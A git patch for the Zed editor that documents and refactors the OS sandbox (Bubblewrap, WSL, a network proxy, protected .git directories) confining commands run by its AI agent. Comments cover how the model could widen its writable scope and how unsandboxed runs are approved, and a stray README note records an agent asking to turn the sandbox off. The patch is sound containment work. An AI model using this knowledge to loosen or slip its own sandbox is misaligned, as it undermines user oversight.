+If Bubblewrap is unavailable or cannot create a sandbox in the current environment, Zed may run the command without the OS sandbox and show a warning in the tool output.
+
+### Windows {#windows}
+
+On Windows, Zed Agent sandboxing is supported only when the agent action runs inside WSL.
+
+Zed uses the Linux Bubblewrap sandbox inside WSL because WSL provides the Linux process and filesystem primitives that Bubblewrap needs.
+Native Windows processes do not currently have the same sandbox integration in Zed, so a native Windows command cannot be confined by Zed Agent's OS sandbox in the same way.
+
+When running inside WSL, the Linux sandboxing behavior applies, including the requirement that `bwrap` not be setuid-root:
+
+- filesystem isolation is provided by Bubblewrap
+- protected Git metadata requires Git metadata access approval
+- `/tmp` is temporary for sandboxed terminal calls
+- network access is all-or-nothing rather than host-specific
+
+If WSL is not installed, or if you choose to run a command without the sandbox, Zed falls back to the standard terminal behavior of running in your native shell.
+It selects the shell using the usual preference order: Git Bash (or scoop's bash) when one is installed, otherwise PowerShell, and finally `cmd.exe`.
+Because the command then runs against native Windows paths instead of WSL's Linux filesystem, path conventions change accordingly (for example `C:\...` or `/c/...` rather than WSL's `/mnt/c/...`), so a command written for the sandboxed WSL shell may behave differently.
+
+## Choosing What to Approve {#choosing-what-to-approve}
+
+When reviewing a sandbox prompt, prefer the narrowest permission that lets the task proceed:
+
+- approve a specific host instead of all hosts when the destination is known
+- approve Git metadata access when the command needs to run Git operations such as `git fetch`, `git commit`, or `git status`
+- approve a specific write path instead of unrestricted filesystem writes
+- approve unsandboxed execution only when the command cannot work inside the sandbox
+- use one-time approvals for unfamiliar commands
+- use thread or always approvals only for access you expect to reuse
+
+If a command fails because the sandbox blocked access, ask the agent why it needs that access before approving a broader request.
diff --git a/docs/src/ai/tools.md b/docs/src/ai/tools.md
index 10913fe97876fb..a4753260ccfc8d 100644
--- a/docs/src/ai/tools.md
+++ b/docs/src/ai/tools.md
@@ -15,6 +15,8 @@ To add custom tools beyond these built-in ones, see [MCP servers](./mcp.md).
 
 To choose which built-in tools and MCP tools are available in a Zed Agent thread, use [Agent Profiles](./agent-profiles.md). Profiles control tool availability; tool permissions control allow, deny, and confirm behavior.
 
+The terminal tool can also run with additional OS-level restrictions when [Zed Agent sandboxing](./sandboxing.md) is enabled.
+
 ## Read & Search Tools
 
 ### `diagnostics`

From c49a29f46179525358eb74dbce67fddb2aafa1f0 Mon Sep 17 00:00:00 2001
From: Cameron Mcloughlin <cameron.studdstreet@gmail.com>
Date: Wed, 24 Jun 2026 02:42:52 +0100
Subject: [PATCH 068/772] sandbox: Linux domain filtering and some more cleanup
 (#59790)

---

Release Notes:

- N/A or Added/Fixed/Improved ...

---------

Co-authored-by: MartinYe1234 <martin@zed.dev>
Co-authored-by: Richard Feldman <oss@rtfeldman.com>
---
 Cargo.lock                                    |    5 +
 README.md                                     |    9 +
 assets/icons/lock_outlined_off.svg            |    7 +
 crates/acp_thread/src/acp_thread.rs           |  192 +--
 crates/acp_thread/src/terminal.rs             |  719 ++--------
 crates/agent/src/agent.rs                     |    4 +
 crates/agent/src/db.rs                        |   88 ++
 crates/agent/src/sandboxing.rs                |  444 +++++-
 crates/agent/src/templates/system_prompt.hbs  |   13 +-
 crates/agent/src/thread.rs                    |  130 +-
 crates/agent/src/thread_store.rs              |    1 +
 crates/agent/src/tools/terminal_tool.rs       |  697 ++++-----
 crates/agent_ui/Cargo.toml                    |    1 +
 crates/agent_ui/src/agent_panel.rs            |    1 +
 .../src/conversation_view/thread_view.rs      |  727 +++++++---
 crates/agent_ui/src/thread_metadata_store.rs  |    1 +
 crates/http_proxy/Cargo.toml                  |    9 +
 crates/http_proxy/src/proxy.rs                |  205 ++-
 crates/http_proxy/src/proxy/connection.rs     |  105 +-
 crates/http_proxy/tests/end_to_end.rs         |   63 +-
 crates/icons/src/icons.rs                     |    1 +
 crates/markdown/src/markdown.rs               |   60 +-
 crates/markdown/src/mermaid.rs                |   70 +-
 crates/sandbox/Cargo.toml                     |   24 +-
 crates/sandbox/src/bwrap_test_helper.rs       |  794 +++++------
 crates/sandbox/src/linux_bubblewrap.rs        | 1266 +++++++----------
 crates/sandbox/src/sandbox.rs                 |  995 ++++++++++++-
 crates/sandbox/src/windows_wsl.rs             |   12 +-
 crates/sandbox/src/wsl_sandbox_test_helper.rs |   83 +-
 crates/zed/src/main.rs                        |    9 +-
 crates/zed/src/visual_test_runner.rs          |    1 +
 nix/tests/sandboxing/default.nix              |  356 +++--
 tooling/xtask/src/tasks/sandbox_tests.rs      |   14 +-
 33 files changed, 4284 insertions(+), 2822 deletions(-)
 create mode 100644 assets/icons/lock_outlined_off.svg

diff --git a/Cargo.lock b/Cargo.lock
index 56940017e2c810..069a21006e7232 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -524,6 +524,7 @@ dependencies = [
  "remote_server",
  "reqwest_client",
  "rope",
+ "sandbox",
  "schemars 1.0.4",
  "search",
  "semver",
@@ -15933,8 +15934,12 @@ name = "sandbox"
 version = "0.1.0"
 dependencies = [
  "anyhow",
+ "futures 0.3.32",
+ "http_proxy",
  "libc",
  "log",
+ "serde",
+ "serde_json",
  "smol",
  "tempfile",
 ]
diff --git a/README.md b/README.md
index 9f641fb3841909..36f8f1d2986ff5 100644
--- a/README.md
+++ b/README.md
@@ -46,3 +46,12 @@ Zed is developed by **Zed Industries, Inc.**, a for-profit company.
 If you’d like to financially support the project, you can do so via GitHub Sponsors.
 Sponsorships go directly to Zed Industries and are used as general company revenue.
 There are no perks or entitlements associated with sponsorship.
+
+
+
+- me: do a nixos integration test (using KVM)
+- agent: i need to turn off the sandbox
+- me: "allow for this thread"
+- agent: runs the tests unsandboxed
+- me: use the terminal to ls this directory
+- agent: runs `ls` *sandboxed*
\ No newline at end of file
diff --git a/assets/icons/lock_outlined_off.svg b/assets/icons/lock_outlined_off.svg
new file mode 100644
index 00000000000000..74e5851dd75a4d
--- /dev/null
+++ b/assets/icons/lock_outlined_off.svg
@@ -0,0 +1,7 @@
+<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path d="M5 5C5 3.89543 5.89543 3 7 3H9C10.1046 3 11 3.89543 11 5V6H5V5Z" stroke="black" stroke-width="1.2"/>
+<path d="M8 9V11" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
+<circle cx="8" cy="9" r="1" fill="black"/>
+<rect x="3.75" y="5.75" width="8.5" height="7.5" rx="1.25" stroke="black" stroke-width="1.2" stroke-linejoin="round"/>
+<path d="M2.5 2.5L13.5 13.5" stroke="black" stroke-width="1.2" stroke-linecap="round"/>
+</svg>
diff --git a/crates/acp_thread/src/acp_thread.rs b/crates/acp_thread/src/acp_thread.rs
index e11e9cbe590636..cabdddfba19fb6 100644
--- a/crates/acp_thread/src/acp_thread.rs
+++ b/crates/acp_thread/src/acp_thread.rs
@@ -60,45 +60,6 @@ impl std::fmt::Display for MaxOutputTokensError {
 
 impl std::error::Error for MaxOutputTokensError {}
 
-/// Resolve the socket path(s) the sandbox may allow for the inherited
-/// `SSH_AUTH_SOCK`. The value is validated against the resolved directory
-/// environment the child command will actually run with, not Zed's own process
-/// environment, since the two can differ (direnv, a login shell, etc.).
-///
-/// Returns both the path as the child will pass it to `connect()` and its
-/// canonical form, because the two diverge when `SSH_AUTH_SOCK` points through
-/// a symlink (e.g. `/tmp` -> `/private/tmp` on macOS) and it isn't guaranteed
-/// which form Seatbelt matches the `remote unix-socket` literal against.
-#[cfg(unix)]
-fn trusted_ssh_auth_socket_paths(path: impl Into<PathBuf>) -> Vec<PathBuf> {
-    let path = path.into();
-    if !path.is_absolute() {
-        return Vec::new();
-    }
-
-    let Ok(canonical) = path.canonicalize() else {
-        return Vec::new();
-    };
-    let Ok(metadata) = std::fs::metadata(&canonical) else {
-        return Vec::new();
-    };
-    use std::os::unix::fs::FileTypeExt as _;
-    if !metadata.file_type().is_socket() {
-        return Vec::new();
-    }
-
-    if canonical == path {
-        vec![canonical]
-    } else {
-        vec![path, canonical]
-    }
-}
-
-#[cfg(not(unix))]
-fn trusted_ssh_auth_socket_paths(_path: impl Into<PathBuf>) -> Vec<PathBuf> {
-    Vec::new()
-}
-
 /// Key used in ACP ToolCall meta to store the tool's programmatic name.
 /// This is a workaround since ACP's ToolCall doesn't have a dedicated name field.
 pub const TOOL_NAME_META_KEY: &str = "tool_name";
@@ -214,6 +175,7 @@ pub struct SandboxAuthorizationDetails {
     /// builds still render the network request.
     #[serde(default, alias = "network")]
     pub network_all_hosts: bool,
+    /// Whether the command requested access to protected `.git` directories.
     #[serde(default)]
     pub allow_git_access: bool,
     #[serde(default)]
@@ -3529,22 +3491,7 @@ impl AcpThread {
         let terminal_task = cx.spawn({
             let terminal_id = terminal_id.clone();
             async move |_this, cx| {
-                let mut env = env.await;
-                let mut sandbox_wrap = sandbox_wrap;
-                // Only expose the inherited SSH agent socket once Git access has
-                // been approved. The workflow that needs it (commit signing)
-                // already requires writing to `.git`, so gating it here keeps the
-                // agent socket out of reach of ordinary sandboxed commands.
-                // Validate the value the child will actually connect to, taken
-                // from its resolved environment rather than Zed's own.
-                if let Some(sandbox_wrap) = &mut sandbox_wrap
-                    && sandbox_wrap.allow_git_access
-                    && let Some(ssh_auth_socket) = env.get("SSH_AUTH_SOCK")
-                {
-                    sandbox_wrap
-                        .allowed_unix_socket_paths
-                        .extend(trusted_ssh_auth_socket_paths(ssh_auth_socket.clone()));
-                }
+                let env = env.await;
                 let shell = project
                     .update(cx, |project, cx| {
                         project
@@ -3552,107 +3499,66 @@ impl AcpThread {
                             .and_then(|r| r.read(cx).default_system_shell())
                     })
                     .unwrap_or_else(|| get_default_system_shell_preferring_bash());
-                // Spawn the network proxy (if the wrap requests network) before
-                // generating the sandbox policy, since the policy must pin the
-                // child to the proxy's loopback port. This also injects the
-                // child's proxy env vars. On Windows the WSL sandbox can only
-                // toggle the network wholesale, so this never spawns a proxy
-                // there, but it still resolves the allow/deny `network_policy`.
-                let (proxy_handle, network_policy) =
-                    setup_network_proxy(sandbox_wrap.as_ref(), &mut env, cx)?;
 
+                // The sandbox owns the network proxy (for restricted-network
+                // policies) and injects the child's proxy env vars, returning
+                // the env to spawn with. On Windows, restricted host access is
+                // rejected inside the sandbox before command preparation.
                 #[cfg(target_os = "windows")]
-                let (task_command, task_args, sandbox_config, spawn_cwd) =
-                    if let Some(sandbox_wrap) = sandbox_wrap {
-                        // Run the wrap on a background task: it probes WSL
-                        // (possibly booting its VM) and stats UNC paths,
-                        // either of which can take seconds and must not block
-                        // the foreground thread this task runs on. Bound it
-                        // with a timeout so a wedged `wsl.exe` can't stall
-                        // this command forever; on timeout, dropping the task
-                        // cancels the wrap future, which kills any in-flight
-                        // `wsl.exe` child (see `windows_wsl::wrap_invocation`).
-                        let wrap = cx.background_spawn(apply_windows_wsl_sandbox_wrap(
-                            command.clone(),
-                            args.clone(),
+                let (task_command, task_args, task_env, sandbox, spawn_cwd) =
+                    if sandbox_wrap.is_some() {
+                        let (task_command, task_args) = task::ShellBuilder::new(
+                            &Shell::Program("/bin/sh".to_string()),
+                            false,
+                        )
+                        .non_interactive()
+                        .redirect_stdin_to_dev_null()
+                        .build(Some(command.clone()), &args);
+                        let wrap = cx.background_spawn(prepare_sandbox_wrap(
+                            task_command,
+                            task_args,
                             cwd.clone(),
                             sandbox_wrap,
-                            network_policy,
-                            env.clone(),
+                            env,
                         ));
                         let timeout = cx.background_executor().timer(WSL_SANDBOX_WRAP_TIMEOUT);
-                        let (task_command, task_args, sandbox_config) = futures::select_biased! {
+                        let (task_command, task_args, task_env, sandbox) = futures::select_biased! {
                             result = wrap.fuse() => result?,
-                            // A wedged `wsl.exe` is an environment failure, so
-                            // surface it as `WslSandboxUnavailable` (like the
-                            // probe failures inside `wrap_invocation`) so the
-                            // agent offers the run-unsandboxed fallback rather
-                            // than returning a bad request to the model.
                             _ = timeout.fuse() => return Err(anyhow::Error::new(
-                                sandbox::windows_wsl::WslSandboxUnavailable::new(format!(
-                                    "WSL did not respond within {} seconds while preparing the \
-                                     sandboxed command",
+                                sandbox::SandboxError::WslUnavailable(format!(
+                                    "WSL did not respond within {} seconds while preparing the sandboxed command",
                                     WSL_SANDBOX_WRAP_TIMEOUT.as_secs()
                                 )),
                             )),
                         };
-                        (task_command, task_args, sandbox_config, None)
+                        (task_command, task_args, task_env, sandbox, None)
                     } else {
                         // No sandbox wrap means we're running unsandboxed, and
                         // on Windows that deliberately changes the shell: the
                         // sandboxed path runs under WSL's Linux bash, but this
-                        // fallback uses the host's `shell` (resolved above via
-                        // `get_default_system_shell_preferring_bash`) against
-                        // the native cwd. That resolution prefers Git Bash (or
-                        // scoop's bash), only dropping to the native Windows
-                        // shell (PowerShell/cmd) when no bash is installed — so
-                        // the interpreter usually stays bash-compatible, but its
-                        // path conventions differ from WSL's (e.g. `/c/...` or
-                        // native `C:\...` rather than `/mnt/c/...`). This is
-                        // unlike Linux/macOS, where the unsandboxed path (the
-                        // `#[cfg(not(target_os = "windows"))]` block below)
-                        // reuses the exact same shell and merely omits the bwrap
-                        // wrapper, so shell semantics are preserved untouched.
-                        //
-                        // The shell switch is intentional on Windows. The only
-                        // ways to reach this branch are: the model asking for
-                        // `unsandboxed: true` (often to run a Windows program),
-                        // the user choosing "run unsandboxed" after a sandbox-
-                        // creation failure, the `allow_unsandboxed` setting, or a
-                        // per-thread fallback grant. For the fallback cases the
-                        // command isn't one the model chose to run unsandboxed,
-                        // so the terminal tool's `sandbox_not_applied` note
-                        // warns it that the command ran without a sandbox *and*,
-                        // on Windows, that the shell and its path conventions
-                        // changed too (see `sandbox_note` in the terminal tool),
-                        // so it can adapt a command written for WSL.
+                        // fallback uses the host's `shell` against the native cwd.
                         let (task_command, task_args) =
                             ShellBuilder::new(&Shell::Program(shell), is_windows)
                                 .redirect_stdin_to_dev_null()
                                 .build(Some(command.clone()), &args);
-                        (task_command, task_args, None, cwd.clone())
+                        (task_command, task_args, env, None, cwd.clone())
                     };
 
-                // On Linux/macOS the same shell (`/bin/sh`) is used whether or
-                // not we sandbox: `ShellBuilder` builds the command, and
-                // `apply_sandbox_wrap` either wraps it in bwrap (`Some`) or
-                // returns it untouched (`None`). Either way the interpreter is
-                // identical, so the unsandboxed fallback keeps shell semantics
-                // intact — unlike Windows, which falls back to the host shell.
                 #[cfg(not(target_os = "windows"))]
-                let (task_command, task_args, sandbox_config, spawn_cwd) = {
+                let (task_command, task_args, task_env, sandbox, spawn_cwd) = {
                     let (task_command, task_args) =
                         ShellBuilder::new(&Shell::Program(shell), is_windows)
                             .redirect_stdin_to_dev_null()
                             .build(Some(command.clone()), &args);
-                    let (task_command, task_args, sandbox_config) = apply_sandbox_wrap(
+                    let (task_command, task_args, task_env, sandbox) = prepare_sandbox_wrap(
                         task_command,
                         task_args,
-                        cwd.as_deref(),
+                        cwd.clone(),
                         sandbox_wrap,
-                        network_policy,
-                    )?;
-                    (task_command, task_args, sandbox_config, cwd.clone())
+                        env,
+                    )
+                    .await?;
+                    (task_command, task_args, task_env, sandbox, cwd.clone())
                 };
                 let terminal = project
                     .update(cx, |project, cx| {
@@ -3661,7 +3567,7 @@ impl AcpThread {
                                 command: Some(task_command),
                                 args: task_args,
                                 cwd: spawn_cwd,
-                                env,
+                                env: task_env,
                                 ..Default::default()
                             },
                             cx,
@@ -3677,8 +3583,7 @@ impl AcpThread {
                         output_byte_limit.map(|l| l as usize),
                         terminal,
                         language_registry,
-                        sandbox_config,
-                        proxy_handle,
+                        sandbox,
                         cx,
                     )
                 }))
@@ -3761,7 +3666,6 @@ impl AcpThread {
                 // External terminal providers manage their own sandboxing
                 // (if any). We don't wrap their commands.
                 None,
-                None,
                 cx,
             )
         });
@@ -3954,34 +3858,6 @@ mod tests {
         });
     }
 
-    #[cfg(unix)]
-    #[test]
-    fn test_trusted_ssh_auth_socket_path_requires_socket() {
-        use std::os::unix::net::UnixListener;
-
-        // Bind under `/tmp`: the default temp dir on macOS (`/var/folders/...`)
-        // overflows the `sun_path` limit for Unix sockets. `TempDir` still
-        // cleans up on drop, even if the test panics.
-        let temp_dir = tempfile::Builder::new()
-            .prefix("zed-sock-")
-            .tempdir_in("/tmp")
-            .expect("temporary socket directory should be created");
-        let socket_path = temp_dir.path().join("agent.sock");
-        let listener = UnixListener::bind(&socket_path).expect("test socket should bind");
-
-        // A real socket resolves to (at least) its canonical path.
-        let canonical = socket_path
-            .canonicalize()
-            .expect("socket path should canonicalize");
-        assert!(trusted_ssh_auth_socket_paths(socket_path).contains(&canonical));
-
-        // A directory is not a socket, and a relative path is rejected outright.
-        assert!(trusted_ssh_auth_socket_paths(temp_dir.path().to_path_buf()).is_empty());
-        assert!(trusted_ssh_auth_socket_paths("relative.sock").is_empty());
-
-        drop(listener);
-    }
-
     #[test]
     fn sandbox_authorization_details_deserialize_legacy_network_bool() {
         // Older builds persisted `network: bool`; the `alias` on
diff --git a/crates/acp_thread/src/terminal.rs b/crates/acp_thread/src/terminal.rs
index 975d360e1a8b68..9bc9702728fb69 100644
--- a/crates/acp_thread/src/terminal.rs
+++ b/crates/acp_thread/src/terminal.rs
@@ -1,16 +1,15 @@
 use agent_client_protocol::schema::v1 as acp;
-#[cfg(target_os = "linux")]
-use anyhow::Context as _;
 use anyhow::Result;
 use collections::HashMap;
 use futures::{FutureExt as _, future::Shared};
 use gpui::{App, AppContext, AsyncApp, Context, Entity, Task};
-use http_proxy::{Allowlist, ProxyConfig, ProxyEvent, ProxyHandle, UpstreamProxy};
+use http_proxy::Allowlist;
 use language::LanguageRegistry;
 use markdown::Markdown;
 use project::Project;
 use serde::{Deserialize, Serialize};
 use std::{
+    collections::HashMap as StdHashMap,
     path::PathBuf,
     process::ExitStatus,
     sync::{
@@ -35,10 +34,9 @@ use util::get_default_system_shell_preferring_bash;
 #[derive(Clone, Debug, Default)]
 pub struct SandboxWrap {
     /// Directory subtrees the sandbox should allow writes to. Pass the
-    /// project's worktree paths, Git metadata directories only when Git access
-    /// has been approved, and any per-command scratch directory here — *not*
-    /// the command's working directory, which is model-controlled and would
-    /// let the model widen its own writable scope.
+    /// project's worktree paths (and any per-command scratch directory)
+    /// here — *not* the command's working directory, which is model-
+    /// controlled and would let the model widen its own writable scope.
     pub writable_paths: Vec<PathBuf>,
     /// Additional write subtrees the user explicitly approved for this
     /// command (per-path write grants). Kept separate from `writable_paths`
@@ -46,19 +44,15 @@ pub struct SandboxWrap {
     /// model-requested paths that passed a user-approval prompt. They are
     /// merged with `writable_paths` when generating the sandbox policy.
     pub extra_write_paths: Vec<PathBuf>,
-    /// Paths whose file data reads and writes should be blocked even when they
-    /// are inside a writable project directory. Metadata reads remain allowed.
-    pub protected_paths: Vec<PathBuf>,
-    /// Unix domain sockets the sandbox should allow local IPC to. These come
-    /// from trusted process environment, not from the model-controlled command.
-    /// This does not permit IP networking or sending packets to other machines.
-    pub allowed_unix_socket_paths: Vec<PathBuf>,
-    /// Whether the user approved Git metadata access for this command. When set,
-    /// `.git` directories are writable (they are absent from `protected_paths`)
-    /// and the inherited SSH agent socket may be exposed for commit signing.
-    pub allow_git_access: bool,
     /// Outbound network access explicitly approved for this command.
     pub network: SandboxNetworkAccess,
+    /// The project's `.git` directories (worktree `.git`, linked-worktree common
+    /// dirs, discovered repos). Protected by default; made writable when
+    /// `allow_git_access` is set. Computed by the agent because locating them
+    /// needs Git knowledge the sandbox layer can't derive itself.
+    pub git_dirs: Vec<PathBuf>,
+    /// Whether the user approved access to the protected `.git` directories.
+    pub allow_git_access: bool,
     /// Allow unrestricted filesystem writes (ignores all writable paths).
     pub allow_fs_write: bool,
     /// Whether the project (and therefore this terminal) is local. The
@@ -80,18 +74,9 @@ pub enum SandboxNetworkAccess {
     All,
 }
 
-impl SandboxNetworkAccess {
-    fn restricted_allowlist(&self) -> Option<&Allowlist> {
-        match self {
-            Self::Restricted(allowlist) => Some(allowlist),
-            Self::None | Self::All => None,
-        }
-    }
-}
-
 /// A structured, serializable reason the OS sandbox could not be created for a
-/// command. Mirrors the Linux/WSL launcher's failure modes (Bubblewrap);
-/// surfaced to the user (and persisted in tool-call metadata) so the UI can
+/// command. Mirrors the Linux/WSL Bubblewrap failure modes; surfaced to the user
+/// (and persisted in tool-call metadata) so the UI can
 /// explain what went wrong.
 #[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)]
 pub enum LinuxWslSandboxError {
@@ -106,6 +91,17 @@ pub enum LinuxWslSandboxError {
     Other(String),
 }
 
+impl From<sandbox::SandboxError> for LinuxWslSandboxError {
+    fn from(error: sandbox::SandboxError) -> Self {
+        match error {
+            sandbox::SandboxError::BwrapNotFound => Self::BwrapNotFound,
+            sandbox::SandboxError::BwrapSetuidRejected => Self::SetuidRejected,
+            sandbox::SandboxError::SandboxProbeFailed => Self::SandboxProbeFailed,
+            error => Self::Other(error.to_string()),
+        }
+    }
+}
+
 impl LinuxWslSandboxError {
     /// A short, user-facing explanation of why the sandbox couldn't be created,
     /// suitable for display in the agent panel.
@@ -145,53 +141,41 @@ impl SandboxWrap {
         &self,
         cwd: Option<&std::path::Path>,
     ) -> Result<(), LinuxWslSandboxError> {
-        #[cfg(target_os = "linux")]
-        {
-            use sandbox::linux_bubblewrap::LauncherStatus;
-
-            let writable: Vec<&std::path::Path> = self
-                .writable_paths
-                .iter()
-                .chain(self.extra_write_paths.iter())
-                .map(|path| path.as_path())
-                .collect();
-            let protected: Vec<&std::path::Path> = self
-                .protected_paths
-                .iter()
-                .map(|path| path.as_path())
-                .collect();
-            let allowed_unix_sockets: Vec<&std::path::Path> = self
-                .allowed_unix_socket_paths
-                .iter()
-                .map(|path| path.as_path())
-                .collect();
-            let allow_network = !matches!(self.network, SandboxNetworkAccess::None);
-            let permissions = sandbox::SandboxPermissions {
-                allow_network,
-                allow_fs_write: self.allow_fs_write,
-            };
-            sandbox::linux_bubblewrap::check_can_create_sandbox(
-                &writable,
-                &protected,
-                &allowed_unix_sockets,
-                permissions,
-                cwd,
-            )
-            .map_err(|status| match status {
-                LauncherStatus::BwrapNotFound => LinuxWslSandboxError::BwrapNotFound,
-                LauncherStatus::SetuidRejected => LinuxWslSandboxError::SetuidRejected,
-                LauncherStatus::SandboxProbeFailed => LinuxWslSandboxError::SandboxProbeFailed,
-                // `Success` never appears in the `Err` arm; map defensively.
-                LauncherStatus::Success => {
-                    LinuxWslSandboxError::Other(status.describe().to_string())
-                }
-            })
-        }
-        #[cfg(not(target_os = "linux"))]
-        {
-            let _ = cwd;
-            Ok(())
-        }
+        sandbox::Sandbox::can_create(&self.to_policy(), cwd).map_err(LinuxWslSandboxError::from)
+    }
+
+    /// Translate this request into the cross-platform [`sandbox::SandboxPolicy`].
+    fn to_policy(&self) -> sandbox::SandboxPolicy {
+        let fs = if self.allow_fs_write {
+            sandbox::SandboxFsPolicy::Unrestricted
+        } else {
+            sandbox::SandboxFsPolicy::Restricted {
+                writable_paths: self
+                    .writable_paths
+                    .iter()
+                    .cloned()
+                    .chain(self.extra_write_paths.iter().cloned())
+                    .collect(),
+            }
+        };
+        let network = match &self.network {
+            SandboxNetworkAccess::None => sandbox::SandboxNetPolicy::Blocked,
+            SandboxNetworkAccess::All => sandbox::SandboxNetPolicy::Unrestricted,
+            SandboxNetworkAccess::Restricted(allowlist) => sandbox::SandboxNetPolicy::Restricted {
+                allowed_domains: allowlist
+                    .patterns()
+                    .iter()
+                    .map(|pattern| pattern.to_string())
+                    .collect(),
+            },
+        };
+        let git_dirs = self.git_dirs.clone();
+        let git = if self.allow_git_access {
+            sandbox::GitSandboxPolicy::Allowed { git_dirs }
+        } else {
+            sandbox::GitSandboxPolicy::Denied { git_dirs }
+        };
+        sandbox::SandboxPolicy { fs, network, git }
     }
 }
 
@@ -206,439 +190,67 @@ impl SandboxWrap {
 /// grow their own failure cases later without a migration.
 #[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)]
 pub enum SandboxNotAppliedReason {
-    /// The user allowed unsandboxed execution for the rest of this thread after
-    /// an earlier sandbox failure. There is always a preceding tool call whose
-    /// reason is [`SandboxNotAppliedReason::ErrorLinuxWsl`].
+    /// The user disabled the sandbox for the rest of this thread, so the command
+    /// ran without one. This happens either when the user approved a
+    /// model-requested `unsandboxed: true` escape "for this thread", or when
+    /// they chose to run unsandboxed for the thread after a sandbox-creation
+    /// failure (in which case a preceding tool call's reason is
+    /// [`SandboxNotAppliedReason::ErrorLinuxWsl`]).
     DisabledForThisThread,
     /// The Linux/WSL (Bubblewrap) sandbox could not be created for this command.
     ErrorLinuxWsl(LinuxWslSandboxError),
 }
 
-/// Opaque RAII handle the sandbox implementation hands back to keep its
-/// per-command resources (e.g. an on-disk Seatbelt config file) alive for
-/// the duration of the spawned command. `Terminal` holds it in a field
-/// whose only job is to drop with the entity.
-pub type SandboxConfigHandle = Box<dyn std::any::Any + Send>;
-
-/// The outbound-network policy resolved for a sandboxed command.
-pub(crate) enum NetworkPolicy {
-    /// The command requested no outbound network.
-    Denied,
-    /// Egress is confined to the in-process proxy on this loopback port.
-    Proxied(u16),
-    /// The command explicitly requested, and the user approved, unrestricted
-    /// outbound network access.
-    Unrestricted,
-}
+/// The live sandbox kept alive for its per-command resources (the network proxy
+/// and, on macOS, the Seatbelt policy file) until the terminal exits.
+type SandboxConfigHandle = sandbox::Sandbox;
 
-/// Apply a [`SandboxWrap`] to a `(program, args)` pair, substituting the
-/// platform's sandboxed invocation in place of the original. The returned
-/// `SandboxConfigHandle` (when `Some`) must be kept alive for the duration
-/// of the spawned command — dropping it deletes any on-disk config the
-/// launcher reads at startup.
-///
-/// `network_policy` is the decision resolved by [`setup_network_proxy`].
-/// Unrestricted network access must be requested explicitly via
-/// [`SandboxNetworkAccess::All`].
-///
-/// There is a dedicated code path per platform:
-/// * macOS wraps the command with `sandbox-exec` and a Seatbelt config file
-///   (returned as the handle).
-/// * Linux re-execs this binary as a launcher that locates `bwrap` and `exec`s
-///   it for filesystem and network isolation (see
-///   [`sandbox::linux_bubblewrap`]); no handle is needed. The launcher reports
-///   back over a status channel whether it could enforce the sandbox, and when
-///   it can't (no usable `bwrap`, user namespaces disabled, …) it runs the
-///   command unsandboxed and the parent logs a warning rather than failing.
-/// * Windows routes the command through WSL and runs it under Bubblewrap
-///   there, but that path is async (it performs `wsl.exe` round-trips), so it
-///   lives in [`apply_windows_wsl_sandbox_wrap`] rather than this synchronous
-///   function.
-/// * All other platforms pass the command through unchanged — we have no
-///   sandbox integration there, so the command runs with the agent's ambient
-///   permissions.
-#[cfg(not(target_os = "windows"))]
-pub(crate) fn apply_sandbox_wrap(
-    program: String,
-    args: Vec<String>,
-    cwd: Option<&std::path::Path>,
-    sandbox_wrap: Option<SandboxWrap>,
-    network_policy: NetworkPolicy,
-) -> anyhow::Result<(String, Vec<String>, Option<SandboxConfigHandle>)> {
-    let Some(sandbox_wrap) = sandbox_wrap else {
-        return Ok((program, args, None));
-    };
-
-    #[cfg(target_os = "macos")]
-    {
-        use sandbox::macos_seatbelt::NetworkAccess;
-
-        let _ = cwd;
-        let writable: Vec<&std::path::Path> = sandbox_wrap
-            .writable_paths
-            .iter()
-            .chain(sandbox_wrap.extra_write_paths.iter())
-            .map(|p| p.as_path())
-            .collect();
-        let protected: Vec<&std::path::Path> = sandbox_wrap
-            .protected_paths
-            .iter()
-            .map(|path| path.as_path())
-            .collect();
-        let allowed_unix_sockets: Vec<&std::path::Path> = sandbox_wrap
-            .allowed_unix_socket_paths
-            .iter()
-            .map(|path| path.as_path())
-            .collect();
-        let network = match network_policy {
-            NetworkPolicy::Proxied(port) => NetworkAccess::LocalhostPort(port),
-            NetworkPolicy::Unrestricted => NetworkAccess::All,
-            NetworkPolicy::Denied => NetworkAccess::None,
-        };
-        let permissions = sandbox::macos_seatbelt::SandboxPermissions {
-            network,
-            allow_fs_write: sandbox_wrap.allow_fs_write,
-        };
-        let (new_program, new_args, config_file) = sandbox::macos_seatbelt::wrap_invocation(
-            &program,
-            &args,
-            &writable,
-            &protected,
-            &allowed_unix_sockets,
-            permissions,
-        )?;
-        Ok((
-            new_program,
-            new_args,
-            Some(Box::new(config_file) as SandboxConfigHandle),
-        ))
-    }
-    #[cfg(target_os = "linux")]
-    {
-        use sandbox::linux_bubblewrap::{self, LauncherStatus, StatusChannel};
-        use std::time::Duration;
-
-        let writable: Vec<_> = sandbox_wrap
-            .writable_paths
-            .iter()
-            .chain(sandbox_wrap.extra_write_paths.iter())
-            .map(|p| p.as_path())
-            .collect();
-        let protected: Vec<&std::path::Path> = sandbox_wrap
-            .protected_paths
-            .iter()
-            .map(|p| p.as_path())
-            .collect();
-        let allowed_unix_sockets: Vec<&std::path::Path> = sandbox_wrap
-            .allowed_unix_socket_paths
-            .iter()
-            .map(|p| p.as_path())
-            .collect();
-        let allow_network = match network_policy {
-            NetworkPolicy::Denied => false,
-            NetworkPolicy::Unrestricted => true,
-            NetworkPolicy::Proxied(port) => {
-                // Bubblewrap can only toggle network access wholesale, so it
-                // can't confine egress to the proxy's loopback port.
-                // `setup_network_proxy` never resolves to `Proxied` on Linux;
-                // deny network rather than silently widening access.
-                log::debug!(
-                    "[sandbox/network] ignoring proxy port {port}; bubblewrap can't confine to a loopback port"
-                );
-                false
-            }
-        };
-        let permissions = sandbox::SandboxPermissions {
-            allow_network,
-            allow_fs_write: sandbox_wrap.allow_fs_write,
-        };
-
-        let launcher = std::env::current_exe()
-            .context("failed to resolve current executable for sandbox launcher")?;
-        let launcher = launcher.to_str().with_context(|| {
-            format!(
-                "current executable path contains invalid UTF-8: {}",
-                launcher.display()
-            )
-        })?;
-
-        // Bind a status channel the launcher reports back on, so we can warn
-        // when it couldn't actually enforce the sandbox. All the sandbox logic
-        // (locating bwrap, probing it) lives in the launcher; the parent only
-        // assembles the invocation and listens.
